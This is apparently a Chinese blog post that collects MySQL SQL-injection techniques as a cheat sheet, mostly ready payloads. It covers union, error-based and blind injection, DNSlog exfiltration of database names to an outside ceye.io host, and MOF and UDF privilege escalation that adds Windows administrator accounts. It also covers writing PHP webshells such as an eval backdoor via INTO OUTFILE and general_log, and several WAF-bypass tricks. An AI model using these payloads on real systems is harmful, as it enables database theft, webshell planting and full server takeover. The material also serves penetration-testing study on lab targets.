mysql select count 5万条数据很慢_Mysql注入总结

1

0X00

   简介

本文是关于Mysql注入相关知识的总结,Mysql利用方式较为灵活,这里总结了一些常用的姿势。

1

0x01 

   union select注入

http://127.0.0.1/?id=1' order by 5 --+http://127.0.0.1/?id=-1' union select 1,2,3,4,5 --+http://127.0.0.1/?id=-1' union select 1,database(),3,4,5 --+

注:union select 前面的语句出错,他才会执行。

1

0X02 

   报错注入

报错函数

1.floor()#floor()报错原理,count和group by 遇到rand会产生重复值 这三个函数在一起组合就会出错,和位置没有关系select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()#EXTRACTVALUE (XML_document, XPath_string);#XML_document是String格式,为XML文档对象的名称#XPath_string (Xpath格式的字符串),不是该格式就会报错,利用concat拼接特殊符号来实现报错select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()#UPDATEXML (XML_document, XPath_string, new_value);#XML_document是String格式,为XML文档对象的名称,#XPath_string (Xpath格式的字符串),不是该格式就会报错,利用concat拼接特殊符号来实现报错#new_value,String格式,替换查找到的符合条件的数据select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));注:extractvalue()函数,updatexml()函数能查询字符串的最大长度是32,如果超过则也需要使用substring()函数截取,一次查看32位4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()#exp() 报错的原理 ,手册说到exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错。select * from test where id=1 and exp(~(select * from(select user())a));注意:当mysql版本>5.5.53时,无法利用exp()函数

1

0X03 

   盲注

布尔盲注

通过字符串截取对比

http://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr((select user()),1,1))=100 -- +substring(),min()同substr()ord()函数同ascii(),将字符转为ascii值select user() regexp '^ro' 判断user()前两位是否为ro,正确返回1,错误返回0
时间盲注

时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数if()if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3。

延迟函数:sleep(5)http://127.0.0.1/sqli/Less-1/?id=1' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟。笛卡尔积(因为连接表是一个很耗时的操作):AxB=A和B中每个元素的组合所组成的集合,就是连接表SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;RLIKE REGEXP正则匹配:通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');RPAD(str,len,padstr)用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'repeat(str,times)  复制字符串times次

同等于sleep(5)

concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,
dnslog盲注

通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%' 查看load_file()可以读取的磁盘。
当secure_file_priv为空,就可以读取磁盘的目录,当secure_file_priv为null,load_file就不能加载文件
在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)

1

0X04  

    宽字节注入

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码。在我们输入单引号时 addslashes() 或者get_magic_quotes_gpc 给我们的单引号加入了转义字符\就变成了\'我们输入经过转换后由于编码的不同把%df%5c 转换为了一个汉字

1.没使用宽字节%27 -> %5C%27 2. 使用宽字节%df%27 -> %df%5c%27 -> 運'

1

0X05 

   二次注入

二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的。

二次注入在php种通常见于,插入时被addslashes() get_magic_quotes_gpc 等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因时多种多样的

1

0X06

   limit,order by,from后的注入 

order by

这是一种特殊的注入 sql语句为 select * from admin order by $id  我们一般用order by 来判断他的列数,其实他就是一个依照第几个列来排序的过程
order by注入是不能 直接使用and 1=1 来判断的,他需要用到条件语句。

mysql> select * from users order by id;+----+----------+------------+| id | username | password   |+----+----------+------------+|  1 | Dumb     | Dumb       ||  2 | Angelina | I-kill-you ||  3 | Dummy    | p@ssword   ||  4 | secure   | crappy     ||  5 | stupid   | stupidity  ||  6 | superman | genious    ||  7 | batman   | mob!le     ||  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 12 | dhakkan  | dumbo      || 14 | admin4   | admin4     |+----+----------+------------+13 rows in set (0.00 sec)

判断注入点:

mysql> select * from users order by if(1=1,username,password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 14 | admin4   | admin4     ||  2 | Angelina | I-kill-you ||  7 | batman   | mob!le     || 12 | dhakkan  | dumbo      ||  1 | Dumb     | Dumb       ||  3 | Dummy    | p@ssword   ||  4 | secure   | crappy     ||  5 | stupid   | stupidity  ||  6 | superman | genious    |+----+----------+------------+13 rows in set (0.00 sec)mysql> select * from users order by if(1=2,username,password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 14 | admin4   | admin4     ||  4 | secure   | crappy     ||  1 | Dumb     | Dumb       || 12 | dhakkan  | dumbo      ||  6 | superman | genious    ||  2 | Angelina | I-kill-you ||  7 | batman   | mob!le     ||  3 | Dummy    | p@ssword   ||  5 | stupid   | stupidity  |+----+----------+------------+13 rows in set (0.00 sec)注:顺序发生了变化

布尔盲注:

mysql> select * from users order by if((substr((select user()),1,1)='r'),username,password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 14 | admin4   | admin4     ||  2 | Angelina | I-kill-you ||  7 | batman   | mob!le     || 12 | dhakkan  | dumbo      ||  1 | Dumb     | Dumb       ||  3 | Dummy    | p@ssword   ||  4 | secure   | crappy     ||  5 | stupid   | stupidity  ||  6 | superman | genious    |+----+----------+------------+13 rows in set (0.00 sec)mysql> select * from users order by if((substr((select user()),1,1)='a'),username,password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 14 | admin4   | admin4     ||  4 | secure   | crappy     ||  1 | Dumb     | Dumb       || 12 | dhakkan  | dumbo      ||  6 | superman | genious    ||  2 | Angelina | I-kill-you ||  7 | batman   | mob!le     ||  3 | Dummy    | p@ssword   ||  5 | stupid   | stupidity  |+----+----------+------------+13 rows in set (0.00 sec)

时间盲注:
时间盲注不能直接简单的sleep() 因为他会对每条内容来执行你的语句,所以会造成dos测试获取速度慢等问题,这时候我们需要用到子查询

mysql> select * from users order by if((substr((select user()),1,1)='r'),sleep(1),password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  6 | superman | genious    ||  8 | admin    | admin      || 10 | admin2   | admin2     || 12 | dhakkan  | dumbo      ||  1 | Dumb     | Dumb       ||  3 | Dummy    | p@ssword   ||  5 | stupid   | stupidity  ||  7 | batman   | mob!le     ||  9 | admin1   | admin1     || 11 | admin3   | admin3     || 14 | admin4   | admin4     ||  2 | Angelina | I-kill-you ||  4 | secure   | crappy     |+----+----------+------------+13 rows in set (13.12 sec)注:一共13条数据,每一条都会sleep(1)使用子查询:mysql> select * from users order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);+----+----------+------------+| id | username | password   |+----+----------+------------+|  1 | Dumb     | Dumb       ||  2 | Angelina | I-kill-you ||  3 | Dummy    | p@ssword   ||  4 | secure   | crappy     ||  5 | stupid   | stupidity  ||  6 | superman | genious    ||  7 | batman   | mob!le     ||  8 | admin    | admin      ||  9 | admin1   | admin1     || 10 | admin2   | admin2     || 11 | admin3   | admin3     || 12 | dhakkan  | dumbo      || 14 | admin4   | admin4     |+----+----------+------------+13 rows in set (2.01 sec)

报错注入:

mysql> select * from users order by (extractvalue(1,concat(0x3a,user())),1);ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
from

from 后面的注入比较少

select * from $id;
  1. 可以结合 order by 来注入

  2. 可以使用联合注入来注入

mysql> select * from users union select 1,user(),3;+----+----------------+------------+| id | username       | password   |+----+----------------+------------+|  1 | Dumb           | Dumb       ||  2 | Angelina       | I-kill-you ||  3 | Dummy          | p@ssword   ||  4 | secure         | crappy     ||  5 | stupid         | stupidity  ||  6 | superman       | genious    ||  7 | batman         | mob!le     ||  8 | admin          | admin      ||  9 | admin1         | admin1     || 10 | admin2         | admin2     || 11 | admin3         | admin3     || 12 | dhakkan        | dumbo      || 14 | admin4         | admin4     ||  1 | root@localhost | 3          |+----+----------------+------------+14 rows in set (0.00 sec)
limit
select * from admin where id >0 limit 0,1 $id

PROCEDURE ANALYSE 配合报错注入

mysql> select * from users where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'ERROR:No query specified

这里延时只能使用BENCHMARK()

select * from users where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);

1

0X07

   无列名注入

当MySQL数据库版本大于5时,存在information_schema库,记录着MySQL中所有表的结构,SQL注入中,我们会通过information_schema库去获取表名,列明等。但是这个库经常被WAF过滤、或者OR被WAF过滤。**

在MySQL5.7及以上版本数据库中,利用以下库也可以获取表名

sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer
add3e440375505904ee65eed4c5534a6.png
获取第一个列名
915434f8f36aad9526b157d50f9988a1.png
获取第二个表名
e65a41180255ecfb91415cee14fdd723.png
依此类推利用此方法可以获取所有列名
获取全部数据
b50612ed95d6d64e9378af7094dfcdcb.png
获取第三列数据
710020a3d5e9c0e4a929b7c046f3eb05.png
` 被过滤,获取第三列数据 4df783274aaac8c7ab078fed20d59dcf.png 获取一条数据 5524de9dd9275c14b787b8fd583be501.png

1

0X08 

    堆叠注入

堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询

select * from users where id=1;select database();

1

0X09 

    mysql注入提权

1.原理

在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

2.利用条件

(1)mysql用户具有root权限(对上面那个目录可写)

(2)关闭了secure-file-priv

3.利用方式

下面是一段写好了的mof利用代码

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2";     Query = "Select \ From __InstanceModificationEvent "             "Where TargetInstance Isa \"Win32_LocalTime\" "             "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {     Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding{     Consumer   = $Consumer;     Filter = $EventFilter; };

这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:

select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

udpt提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件:

1.Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

4.可以将udf.dll写入到相应目录的权限。

利用方式:1.udf.dll在sqlmap里可以找到, sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
2.sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在 sqlmap/extra/cloak/cloak.py
5efcb13b48650912e18878dd4c7b5c46.png
3.解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件,将dll文件复制到mysql的/lib/plugin目录下,执行sql语句
create function sys_exec returns string soname "lib_mysqludf_sys.dll";select sys_exec('net user aaa 123 /add');select sys_exec('net localgroup administrators aaa /add');#到此就完成了,下边删除使用的函数drop function sys_exec;delete from mysql.func where name='sys_exec'

1

0X10 

   mysql注入写webshell

基于联合查询

利用条件:
1.对web目录有写权限。
2.知道网站的绝对路径。

http://127.0.0.1/sqli/Less-38/?id=1' union select 1,"<?php phpinfo();?>",3 into outfile 'D:/Wamp/www/sqli/test.php' --

利用分隔符写入**
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入,SQLMAP的 --os-shell命令,所采用的就是一下这种方式。
利用条件:
1.对web目录有写权限。
2.知道网站的绝对路径。

http://127.0.0.1/sqli/Less-38/?id=1' INTO OUTFILE 'D:/Wamp/www/sqli/test.php' lines terminated by '<?php  phpinfo();?>' -- 

同样的技巧,一共有四种形式:

INTO OUTFILE '物理路径' lines terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#INTO OUTFILE '物理路径' fields terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#INTO OUTFILE '物理路径' columns terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#INTO OUTFILE '物理路径' lines starting by '<?php phpinfo();?>' --+    (或一句话hex编码)#

基于log日志写shell法**
新版本的MySQL设置了secure_file_priv的路径,无法通过使用select into outfile来写入一句话,这时,我们可以通过修改MySQLlog文件来获取Webshell利用条件:
1.数据库当前用户为root权限
2.知道网站绝对路径
3.存在堆叠注入(或mysql consloe)

http://127.0.0.1/sqli/Less-38/?id=1';set global general_log = on; -- http://127.0.0.1/sqli/Less-38/?id=1';set global general_log_file = 'D:/Wamp/www/sqli/2.php'; -- http://127.0.0.1/sqli/Less-38/?id=1';select '<?php eval($_GET[g]);?>'; -- http://127.0.0.1/sqli/Less-38/?id=1';set global general_log=off; -- show variables like '%general%';

1

0X11 

   mysql注入过waf

内联注释绕过

http://127.0.0.1/Less-1/?id=-1' union/*!11440select*/ 1,2,3--+ 不拦截http://127.0.0.1/Less-1/?id=1' order/*!51000a*/by 3--+  不拦截

为什么不拦截 ,因为50000是他的版本号,在注释中加入!,加上版本号后只有当前mysql版本大于标注的版本号注释内的sql才会执行,那么我们可以用burp来遍历这个值呢,而这里为什么是11440其他的为什么不行,那就是规则库的问题了.

注释绕过
绕过unino select:union all%23%0a select union %23%0aall select union  -- hex()%0a select
编码绕过
URL编码十六进制编码unicode编码:单引号: %u0027空格:%u0020左括号:%u0028右括号:%u0029
参数污染

/**/ 里面的内容waf基本不管,那么我们用hpp 参数污染来绕过就很简单了
照成这个手法的原因是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id

http://127.0.0.1/Less-1/?id=-1' /*&id='union select 1,2,3 -- +*/
7dc51076de01bffe93b415f2f9b84535.png
等价替换
使用from. 绕过from绕过 information_schema.schemata:`information_schema`.schemata`information_schema`.`schemata`information_schema.`schemata`(information_schema.schemata)information_schema/**/.schemata%26%26绕过andand!!!绕过andsel<>ect 绕过select
分块传输

进行分块传输的时候,请求头要加上Transfer-Encoding: Chunked,然后POST的数据规则如下

2id2=302 #这个2表示下面数据的个数 可以在这个后面加入分号添加注释 比如 2;hello world 可以利用这个特性添加随机字符来干扰wafid #参数 接收参数就是id一共就两个字母 所以上面的个数是22 #同理 表示下面的数据的个数=1 #这个也是同理 和前面的id连起来 post的数据就是 id=10 #分块传输表示结束的方式 一个0和两个换号#换行#换行
缓冲区溢出

有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database()
示例0xA*1000指0xA后面"A"重复1000次,一般来说对应用软件构成缓冲区溢出都需
要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出。

1

0X12 

   参考链接

https://blog.csdn.net/weixin_39190897/article/details/103583673
https://mp.weixin.qq.com/s/0DFHERyevMz_giZHi0agiQ
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值